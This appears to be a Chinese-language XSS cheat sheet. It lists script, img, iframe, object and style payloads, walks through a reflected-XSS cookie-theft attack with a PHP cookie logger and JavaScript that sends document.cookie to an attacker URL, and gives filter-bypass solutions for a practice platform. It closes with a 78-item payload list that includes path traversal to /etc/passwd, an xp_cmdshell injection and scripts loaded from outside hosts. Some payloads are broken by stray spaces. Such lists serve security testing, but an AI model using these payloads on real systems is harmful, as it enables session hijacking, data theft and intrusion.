常用測試語句:
<script language='javascript'>alert('test!');</script> <script>alert('test')</script> <svg/onload=alert(1)> "><svg/onload=alert(1)// onfocus=javascript:alert(2) " onmouseover="prompt('xss')" bad="
<script src=http://xxx.com/xss.js></script> #引用外部的 xss
<script> alert("hack")</script> #彈 出 hack
<script>alert(document.cookie)</script> #彈 出 cookie
<img>標簽:
<img src=1 on er ror=alert("hack")>
<img src=1 onerror=alert(/hack/)>
<img src =1 onerror=alert(document.cookie)> #彈 出 cooki e
<img src=1 on er ror=alert(123)> 注 :對 於 數 字 ,可 以 不 用 引號
<img src ="javascri pt:alert("XSS");" >
<img dyn src="javas cript:alert('XSS' )" >
<img low src="javas cript:alert('XSS' )" >
<body>標 簽 :可 以 使 用 onload 屬 性 或 其 他 更 加 模 糊 的 屬 性( 如 屬 性 )在 標 記內部傳遞 XSS 有 效 內 容 background
<body onload=aler t( "XSS")>
<body background="javascript:alert("XSS")">
<iframe>標簽:該 <iframe>標 簽 允 許 另 一 個 HTML 網頁的嵌入到父頁面。
IFrame 可以包含 Jav aScript, 但 是 , 請 注 意 , 由 於 瀏 覽 器 的 內 容 安 全 策 略
( CSP),iFrame 中 的 J avaScript 無 法 訪 問 父 頁 面 的 DOM。然 而 ,IF rame 仍 然
是非常有效的解除網絡釣魚攻擊的手段。
<iframe src=” htt p: //evil.com/xss.ht ml” >
<input>標 簽 :在 某 些 瀏 覽 器 中 ,如 果 標 記 的 type 屬 性 <input>設 置 為 image,
則可以對其進行操作以嵌入腳本
"javascript:confirm(1);"
<input type="image" src="javascript:alert('XSS');">
<link>標簽: <link>標簽,這是經常被用來連接外部的樣式表可以包含的腳本
<link rel="stylesheet" href="javascript:alert('XSS');">
<table>標 簽 : 可 以 利 用 和 標 簽 的 backgr oun d 屬 性 來 引 用 腳 本 而 不 是 圖 像
<table background="javascript:alert( 'X SS')">
<td background="javascript:alert('XSS')">
<div>標簽:該 <div>標簽,類似於 <table>和 <td>標 簽 也 可 以 指 定 一 個 背 景 ,因此嵌入的腳本。
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
<object>標簽:該 < ob ject>標 簽 可 用 於 從 外 部 站 點 腳 本 包 含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
彈窗測試XSS js中,alert() 警告彈窗,confirm() 確認彈窗 prompt() 輸入彈窗
XSS 反射型攻擊思路(前提服務器有XSS漏洞):
- 用戶登錄服務器中
- 攻擊者誘騙用戶點擊 有攻擊代碼的url
- 用戶點擊后訪問服務器
- 服務器響應代碼,在用戶瀏覽器偷偷中執行攻擊腳本,發送關鍵信息例如cookie給攻擊這服務器
- 攻擊者利用收到的信息偽造用戶訪問服務器
例子:
第一步:
攻擊者本地服務器代碼
Http://127.0.0.1/cookie.php ://攻擊者的IP地址
<?php
$cookie = $_GET[‘cookie’]; //接收GET中的cookie參數
$fp=fopen('cookie.txt','w'); //創建cookie.txt文件 w表示寫入,如果是a 表示追加
fwrite($fp,$cookie);
fclose($fp);
?>
第二步:攻擊Js構造
<script>
Document.location=’http://127.0.0.1/cookie.php?cookie=’+document.cookie;
</script> //把當地的cookie發送到http://127.0.0.1/cookie.php上
第三步:構建攻擊url
http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
第四步:對參數進行url編碼
第四步:誘導用戶點擊,回到攻擊者cookie.txt文件中,已經記錄了用戶的信息
最后就是利用用戶的cookie進行劫持會話
xss練習平台:http://xss.fbisb.com/
第一關:利用前端過濾,瀏覽器關閉js語句即可繞過
第二關.閉合法 閉合前面的語句
“><a /href “javascript:confirm(1)”>
"><sCript>confirm(1)</Script>
"><Script src=’https://www.baidu.com’>
confirm(1)
" onclick="alert(1) “ 閉合前面的雙引號,鼠標點擊事件
" onfocus="confirm(1)
xss練習第三關:
過濾了以下字符:
第四關:過濾掉了<>
"onmouseover="javascript:alert(1) //鼠標移動事件
" onfocus="alert(/xss/) //點擊事件
第五關:過濾了<sricpt 和on
1"<a>1<a href=' javascript:alert(1)'/>"
1"<a>1<a href=' javascript:confirm(1)'/>"
confirm(1)
跳出input標簽
"><a href="javascript:alert(/xss/)">xss</a>
第六關 過濾了很多js語句,但沒考慮大小寫
"Onmouseover="javascript:alert(1)
進行大小寫繞過
在input標簽中觸發XSS:
payload:" ONmouseover="alert(/xss/)
跳出input標簽觸發XSS:
payload:"><sCript>alert(/xss/)</sCript>
第七關:只過一次 利用兩次
scriptscript=script
"Oonnmouseover="javascript:alert(1)
第八關
很多都轉義了 “ on script 等
用編碼繞過,采用html實體編碼 t ---> t
javascript:alert(/xss/)
第九關:加個http://
第十關:
這道題有倆個輸出的地方,第一個被實體化過濾,第二個是隱藏表單的"t_sort"參數
即'$str33',過濾了尖括號,那么就在input標簽中觸發xss即可,可以用onmouseover或者
是onclick,需要將隱藏表單顯示出來觸發
payload為:url后加 &t_sort=xss" onmouseover=alert(/xss/) type="text"
payload為:url后加 &t_sort=xss" onclick=alert(/xss/) type="text
思路:
查看源代碼,編輯,看看是不是已經實體化轉換了,單雙引號
如果是 ,則用用不要<>和引號類的過濾看看
waf繞過:
參考:https://blog.csdn.net/spang_33/article/details/80930046
特殊符號繞過 # 亂打
1.對方開啟了httponly屬性
如果在cookie中設置了HttpOnly屬性,那么通過js腳本將無法讀取到cookie信息,有效防止xss攻擊
表單劫持:劫持用戶瀏覽器提交的的表單,或者保存在瀏覽器的表單
payload 大全:
1 '><script>alert(document.cookie)</script> 2 ='><script>alert(document.cookie)</script> 3 <script>alert(document.cookie)</script> 4 <script>alert(vulnerable)</script> 5 %3Cscript%3Ealert('XSS')%3C/script%3E 6 <script>alert('XSS')</script> 7 <img src="javascript:alert('XSS')"> 8 %0a%0a<script>alert(\"Vulnerable\")</script>.jsp 9 %22%3cscript%3ealert(%22xss%22)%3c/script%3e 10 %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 11 %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini 12 %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 13 %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 14 %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html 15 %3f.jsp 16 %3f.jsp 17 <script>alert('Vulnerable');</script> 18 <script>alert('Vulnerable')</script> 19 ?sql_debug=1 20 a%5c.aspx 21 a.jsp/<script>alert('Vulnerable')</script> 22 a/ 23 a?<script>alert('Vulnerable')</script> 24 "><script>alert('Vulnerable')</script> 25 ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& 26 %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 27 %3Cscript%3Ealert(document. domain);%3C/script%3E& 28 %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 29 <IMG src="javascript:alert('XSS');"> 30 <IMG src=javascript:alert('XSS')> 31 <IMG src=JaVaScRiPt:alert('XSS')> 32 <IMG src=JaVaScRiPt:alert("XSS")> 33 <IMG src=javascript:alert('XSS')> 34 <IMG src=javascript:alert('XSS')> 35 <IMG src=javascript:alert('XSS')> 36 <IMG src="jav ascript:alert('XSS');"> 37 <IMG src="jav ascript:alert('XSS');"> 38 <IMG src="jav ascript:alert('XSS');"> 39 "<IMG src=java\0script:alert(\"XSS\")>";' > out 40 <IMG src=" javascript:alert('XSS');"> 41 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> 42 <BODY BACKGROUND="javascript:alert('XSS')"> 43 <BODY ONLOAD=alert('XSS')> 44 <IMG DYNSRC="javascript:alert('XSS')"> 45 <IMG LOWSRC="javascript:alert('XSS')"> 46 <BGSOUND src="javascript:alert('XSS');"> 47 <br size="&{alert('XSS')}"> 48 <LAYER src="http://xss.ha.ckers.org/a.js"></layer> 49 <LINK REL="stylesheet" href="javascript:alert('XSS');"> 50 <IMG src='vbscript:msgbox("XSS")'> 51 <IMG src="mocha:[code]"> 52 <IMG src="livescript:[code]"> 53 <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 54 <IFRAME src=javascript:alert('XSS')></IFRAME> 55 <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET> 56 <TABLE BACKGROUND="javascript:alert('XSS')"> 57 <DIV STYLE="background-image: url(javascript:alert('XSS'))"> 58 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> 59 <DIV STYLE="width: expression(alert('XSS'));"> 60 <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 61 <IMG STYLE='xss:expre\ssion(alert("XSS"))'> 62 <STYLE TYPE="text/javascript">alert('XSS');</STYLE> 63 <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> 64 <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 65 <BASE href="javascript:alert('XSS');//"> 66 getURL("javascript:alert('XSS')") 67 a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); 68 <XML src="javascript:alert('XSS');"> 69 "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" 70 <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> 71 <IMG src="javascript:alert('XSS')" 72 <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> 73 <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 74 <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> 75 <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> 76 <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT> 77 <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT> 78 <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>